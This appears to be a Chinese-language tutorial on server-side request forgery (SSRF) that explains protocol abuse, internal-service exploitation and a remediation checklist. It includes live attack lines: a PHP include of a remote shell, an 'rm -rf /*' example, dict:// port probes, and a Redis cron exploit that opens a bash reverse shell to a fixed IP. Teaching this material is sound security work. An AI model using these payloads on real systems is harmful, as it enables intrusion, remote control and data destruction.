0x01 Background

What is SSRF ?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

cURL -> Trick or Treat ?

如果服务器端请求没有用cURL做有效的限制的话,被留下了后门

php
<?php include('https://0akarma.me/7shell.php'); ?>

亦或这样,那不就gg了……

<?php system("rm -rf /*"); ?>

cURL Functions

0x02 Vulnerability Type

gopher 万金油协议

基本协议格式:URL:gopher://<host>:<port>/<gopher-path>

vps 监听 2333 端口

nc -lvp 2333

然后浏览器访问:http://localhost/SSRF/ssrf.php?url=gopher://your_vps_ip:2333/_gopher

root@0aKarmA:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [your_vps_ip] port 2333 [tcp/*] accepted (family 2, sport 52130)
gopher

dict

dict协议,字典服务器协议,A Dictionary Server Protocol
dict是基于查询响应的TCP协议

可以查看相应端口信息

curl -v ‘https://0akarma.me/ssrf.php?url=dict://ip:22/info’  # 查看ssh的banner信息
curl -v ‘https://0akarma.me/ssrf.php?url=dict://ip:6379/info’    # 查看redis相关配置

file

本地文件传输协议,File Protocol。主要用于访问本地计算机中的文件。MSDN File Protocol
基本格式: file:///path

http/https

检测主机是否存活

0x03 Vulnerability Utilization

gopher

Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Mysql

结合Gopher系统攻击内网未授权MySQL,并且获取系统shell的方法

FastCGI

反弹shell

Web

可以向内部任意主机的任意端口发送精心构造的数据包{payload}

XSS

web - dctf - web300 - SSRF 和 XSS 的一個例子
How i converted SSRF TO XSS in jira

协议注入

Exploiting URL Parser in
Trending Programming Languages

0x04 Repair

  1. 禁止跳转
  2. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  3. 禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
  4. 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
  5. 限制请求的端口为http常用的端口,比如 80、443、8080、8090.
  6. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

0x05 Materials

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

SSRF_exp
SSRF Bible
Gopherus